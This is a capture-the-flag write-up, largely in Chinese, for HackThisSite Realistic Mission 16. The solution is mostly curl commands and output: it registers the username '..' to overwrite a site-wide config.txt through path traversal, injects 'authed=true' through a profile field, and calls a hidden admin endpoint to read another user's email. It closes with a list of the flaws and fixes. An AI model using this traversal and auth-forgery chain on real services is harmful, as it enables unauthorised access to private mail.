HackThisSite - Realistic Mission 16

Challenge

One of your best friends has reason to believe that his girlfriend has been cheating on him. He thinks that she's been sending emails back and forth with this other guy, but he has no for sure proof. Now it's your turn to show him what a valuable friend you are!

目标是进 Simple Mail 的管理后台,读到 jenn@simplemail.com 的邮件。站点是 https://www.hackthissite.org/missions/realistic/16/,菜单里只有 Register / Login / Search / User Panel 这些常规模块。

Solution

Recon:

  • 首页源码里有一栏菜单被 HTML 注释掉:index.php?module=admin_login(Admin Login),是隐藏入口。
  • index.php?module=admin_login<object>/<embed> 引入 login.swf,登录判断全在 Flash 里,页面上没有表单。
  • 首页新闻有一条 "Registration Error":"we were having a problem with people registering who tried to use special characters in their name... it might take up to a week to fix. For now, we suggest sticking to just letters and numbers in your email address." —— 等于明说用户名没做过滤,特殊字符能进名字。

Step 1: 反编译 login.swf 看清认证信任链

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/login.swf" -o login.swf
$ file login.swf
login.swf: Macromedia Flash data (compressed), version 9
$ ffdec -export script sv_login login.swf
Exported script 45/45 /tmp/r16/sv_login/scripts/frame_1/DoAction.as, 00:00.007
Export finished. Total export time: 00:01.417

sv_login/scripts/frame_1/DoAction.as 里是核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
stop();
MENU = new ContextMenu();
MENU.hideBuiltInItems();
_root.menu = MENU;
_root.authed = "";
_root.auth_page = "";
_root.real_auth = "auth.php";

function WaitForData()
{
if(_root.auth_page != "" && _root.auth_page != null && _root.auth_page.length > 1)
{
_root.authed = "";
_root.real_auth = _root.auth_page;
_root.auth_page = "";
_root.onEnterFrame = function() { };
loadVariables(_root.real_auth + "?user=" + user.text + "&pass=" + pass.text, "");
_root.onEnterFrame = WaitForData2;
}
}

function WaitForData2()
{
if(_root.authed != "")
{
if(_root.authed == "true" || _root.authed == true)
{
_root.getURL("admin.php?auth=true&id=63a4bf12cd");
}
else
{
_root.getURL("admin.php?auth=false");
}
_root.onEnterFrame = function() { };
_root.authed = "";
}
}

btnLogin.onRelease = function()
{
loadVariables("config.txt", "");
_root.onEnterFrame = WaitForData;
};

推理链:点 Login → 先 loadVariables("config.txt") 读站点根目录的 config.txt → 从中取出 auth_page(默认 auth_page=auth.php)→ 再 loadVariables(auth_page + "?user=..&pass=..") → 从响应里取 authed → 若 authed == "true" 就跳 admin.php?auth=true&id=63a4bf12cd,否则 admin.php?auth=false

也就是说 认证去哪问、认不认,由 config.txt 决定config.txt 默认内容:

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/config.txt"
auth_page=auth.php

Step 2: 注册遍历用户名 ..,覆盖站点根 config.txt

注册表单字段是 username / curr_email / password1 / password2 / timezone,POST 到 register.php。用户资料路径形如 users/<username>/config.txt<username> 被直接拼进去且没有任何过滤。用户名填 ..

1
2
3
4
5
6
7
8
9
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
--data-urlencode 'username=..' \
--data-urlencode 'curr_email=attacker@localhost' \
--data-urlencode 'password1=pass1234' \
--data-urlencode 'password2=pass1234' \
--data-urlencode 'timezone=0' \
"https://www.hackthissite.org/missions/realistic/16/register.php"
HTTP/2 302
location: index.php?module=reg_success

跟到 reg_success

1
2
3
4
5
6
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/index.php?module=reg_success"
Logged in as: ..@simplemail.com
Warning: Unable to create email address "..@simplemail.com" on line 56
Notice: Username as created, however, the email address had problems registering with the system.
Registration was a success. You may procede to login.

邮箱没建成(.. 不是合法邮箱),但用户目录/配置路径已经建好了users/../config.txt 正好落在站点根目录,也就是管理员 Flash 读取的那个 config.txt。注册这一步就已经把它覆盖了,注册前 vs 注册后:

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/config.txt"
auth_page=auth.php
1
2
3
4
5
6
7
8
9
10
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/config.txt"
No Personal Message;
0;
attacker@localhost;

\\These is the user config file notes, anything with \\ in front is ignored
\\Line 1: Personal message
\\Line 2: Timezone
\\Line 3: Current Email

.. 账号登录(会话按来源记账,这个 mission 不发独立 cookie):

1
2
3
4
5
6
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
--data-urlencode 'username=..' \
--data-urlencode 'password=pass1234' \
"https://www.hackthissite.org/missions/realistic/16/login.php"
HTTP/2 302
location: index.php?module=logged_in

index.php?module=home 显示 Logged in as: ..@simplemail.com。编辑资料表单的字段是 message / curr_email / timezone,POST 到 edit.php。用户配置的第 1 行就是 personal message,把 payload 塞进 message

1
2
3
4
5
6
7
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
--data-urlencode 'message=auth_page=config.txt&authed=true&' \
--data-urlencode 'curr_email=attacker@localhost' \
--data-urlencode 'timezone=0' \
"https://www.hackthissite.org/missions/realistic/16/edit.php"
HTTP/2 302
location: index.php?module=edit_success

config.txt 变成:

1
2
3
4
5
6
7
8
auth_page=config.txt&authed=true&;
0;
attacker@localhost;

\\These is the user config file notes, anything with \\ in front is ignored
\\Line 1: Personal message
\\Line 2: Timezone
\\Line 3: Current Email

payload 的作用:把 auth_page 指回 config.txt 自己,并塞进 authed=true。末尾那个 & 是关键——它把后面的 ; 和其余各行从 authed 的值里切断(loadVariables& 分键值对,没有 & 的话 authed 会变成 true;\n0;\nattacker@localhost;...,不等于 "true")。

Step 3: 进入 Admin Panel

覆盖之前直接打后台,服务端会说配置对不上:

1
2
3
4
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/admin.php?auth=true&id=63a4bf12cd"
<b>Debug Mode Enabled:</b>
<br /><b>Server Error:</b> The return from the auth page listed in config.txt is not consistant with the authorization given by login.swf. The error has been logged.

admin.php 在服务端会重新读 config.txt 里的 auth_page 去核对。默认指向的 auth.php 无论传什么凭据都返回 false:

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/auth.php?user=..&pass=pass1234"
authed=false

auth_page 指到 config.txt(内容含 authed=true)之后,同一请求就放行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/admin.php?auth=true&id=63a4bf12cd"
<html>
<head>
<title>Simple Mail Admin Panel</title>
</head>
<body>
<center><b><big>Admin Panel</big></b></center>
<b>Review User's Email:</b>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" ...>
<param name="movie" value="check_email.swf" />
<embed src="check_email.swf" quality="high" ... />
</object>

面板右侧是 "Review User's Email",内嵌 check_email.swf

Step 4: 反编译 check_email.swf,拿到邮箱查询端点

1
2
3
4
5
6
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/check_email.swf" -o check_email.swf
$ file check_email.swf
check_email.swf: Macromedia Flash data (compressed), version 9
$ ffdec -export script sv_check check_email.swf
Export finished. Total export time: 00:00.869

sv_check/scripts/frame_1/DoAction.as

1
2
3
4
5
6
7
8
function CheckEmail(email)
{
check_enabled = false;
if(check_enabled)
{
loadVariables("./check_email.php?auth=true&id=63a4bf12cd&email=" + email,"");
}
}

按钮上的处理(frame_1/PlaceObject2_33_Button_3/CLIPACTIONRECORD onClipEvent(load).as):

1
2
3
4
5
6
7
onClipEvent(load){
function __f_click(eventObj)
{
_root.toplabel.text = "Check email script currently disabled for user privacy";
}
this.addEventListener("click",__f_click);
}

面板上点按钮只会改一行文案(check_enabled = false),但 SWF 里硬编码的服务端脚本 check_email.php?auth=true&id=63a4bf12cd&email=... 还在。

Attempt: 未覆盖 config.txt 时直接打 check_email.php(失败)

不经过 config.txt 覆盖,直接请求这个端点(带 cookie、带 auth=true&id=63a4bf12cd 全都一样):

1
2
3
4
5
6
7
8
9
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>Unauthorized Entry</title>
</head><body>
<h1>Unauthorized Entry Attempt</h1>
<p>You have incorrectly attempted to login to administrative area using an incorrect username and or password. This attempt has been logged.</p>
</body></html>

auth=trueid=63a4bf12cd 只是客户端参数,服务端真正读的是 config.txt 指向的认证页——根因不修,端点永远回 Unauthorized。这就是覆盖 config.txt 必须在前的原因。

Step 5: 读取 jenn 的邮件并通关

覆盖 config.txt 之后,同一个端点直接返回通关页(响应正文里的关键行):

1
2
3
4
5
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com" \
-w '\n[HTTP %{http_code} size=%{size_download}]\n'
<center><div style="width:80%"><div class="dark-td"><h2>Mission 16</h2></div><div class="light-td">Mission 16 Accomplished! (Turns out the guy she was talking to was her brother)<br /></div></div></center>
[HTTP 200 size=14509]

Vulnerabilities

  • 用户名目录遍历 → 任意文件写<username> 直接拼进 users/<username>/config.txt 且无白名单,用户名 .. 让路径塌缩成站点根 config.txt;注册和编辑资料都写这个路径。
  • 认证决策读用户可写文件admin.phpconfig.txtauth_page 并据此核对,auth_page 指哪就信哪。payload 把 auth_page 指向 config.txt 自己并伪造 authed=true
  • 客户端泄露后台端点与固定 idlogin.swf / check_email.swf 硬编码 admin.php?auth=true&id=63a4bf12cdcheck_email.php?auth=true&id=63a4bf12cd,服务端只信请求里的 auth=true(实际来自 config 里的 authed),不校验会话。
  • "disabled" 只写在客户端:按钮禁用(check_enabled = false)纯前端,服务端脚本照常可调。

修复方向:用户名只允许白名单字符并在服务端规范化路径(拒绝 . / .. / 分隔符);认证配置与用户数据分目录,只从服务端不可写的位置读取;认证结果用服务端会话传递而不是可写文件;后台端点用会话鉴权,不信任请求参数里的 auth / id